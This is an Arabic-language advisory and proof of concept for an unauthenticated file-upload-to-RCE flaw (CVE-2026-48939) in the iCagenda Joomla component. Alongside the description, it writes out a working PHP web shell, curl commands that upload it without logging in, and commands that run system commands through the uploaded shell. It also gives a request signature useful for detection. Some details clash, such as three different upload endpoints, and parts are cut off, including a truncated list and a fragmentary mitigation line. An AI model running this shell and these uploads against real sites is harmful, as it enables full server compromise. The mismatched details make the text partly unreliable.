
iCagenda Unauthenticated File Upload to RCE
| الحقل | القيمة |
|---|---|
| معرف CVE | CVE-2026-48939 |
| درجة CVSS 4.0 | 10.0 حرجة |
| متجه CVSS | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H |
| CWE | CWE-284: تحكم غير سليم في الوصول |
| الإصدارات المتأثرة | iCagenda 3.2.1 - 3.9.14 و 4.0.0 - 4.0.7 |
| تم الإصلاح في | iCagenda 4.0.8 و 3.9.15 |
| تاريخ النشر | 20 يونيو 2026 |
تحتوي iCagenda، وهي مكون شهير للأحداث والتقويم في Joomla، على ثغرة رفع ملف بدون مصادقة تسمح للمهاجمين عن بعد برفع وتنفيذ كود PHP عشوائي على مواقع Joomla 6.
توجد الثغرة في ميزة إرفاق الملفات في نموذج تقديم الأحداث في الواجهة الأمامية:
عدم وجود التحكم في الوصول: نقطة نهاية الإرسال (index.php?option=com_icagenda&task=registration.submit) لا تفرض المصادقة، متجاوزة إعداد الوصول "المسجلون فقط".
لا يوجد التحقق من الملف: يتم حفظ الملفات المرفوعة بامتدادها الأصلي دون:
الكتابة المباشرة للملف: يتم كتابة الملفات إلى /images/icagenda/frontend/attachments/[filename] مباشرة تحت جذر الويب.
تنفيذ PHP: على Joomla 6، تكون ملفات .php المرفوعة قابلة للتنفيذ، مما يؤدي إلى تنفيذ أوامر عن بعد (RCE).
# Create PHP shell payload
cat > /tmp/shell.php << 'EOF'
<?php
echo "CVE-2026-48939 - SHELL ACTIVE\n";
if(isset($_GET['cmd'])) {
echo shell_exec($_GET['cmd'] . " 2>&1");
}
?>
EOF
# Upload the shell
curl -k -s \
-F "title=Test Event" \
-F "jform[attachment]=@/tmp/shell.php;type=application/x-php" \
"https://poloss-jomola.ddev.site/icagenda_submit.php"
# Execute commands via uploaded shell
curl -k "https://poloss-jomola.ddev.site/images/icagenda/frontend/attachments/[SHELL_FILENAME].php?cmd=whoami"
# Navigate to project directory
# Run PoC script
./CVE-2026-48939-PoC.sh https://poloss-jomola.ddev.site
تحديد نقطة النهاية الضعيفة:
https://target.com/index.php?option=com_icagenda&task=submit
رفع شيل ويب PHP:
curl -X POST -F "jform[attachment][email protected]" \
"https://target.com/index.php?option=com_icagenda&task=submit"
تنفيذ الشيل:
curl "https://target.com/images/icagenda/frontend/attachments/shell_TIMESTAMP.php?cmd=id"
بناءً على سجلات الاستغلال الواقعية، فإن توقيع الهجوم هو:
# Step 1: Upload
POST /index.php?option=com_icagenda&task=submit
User-Agent: icagenda-batch/1.0
Content-Disposition: form-data; name="jform[attachment]"; filename="shell.php"
# Step 2: Execute
GET /images/icagenda/frontend/attachments/shell.php?cmd=...
User-Agent: icagenda-batch/1.0
com_icagenda مؤقتًاإثبات المفهوم هذا هو لأغراض تعليمية واختبار الأمان المصرح به فقط. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني.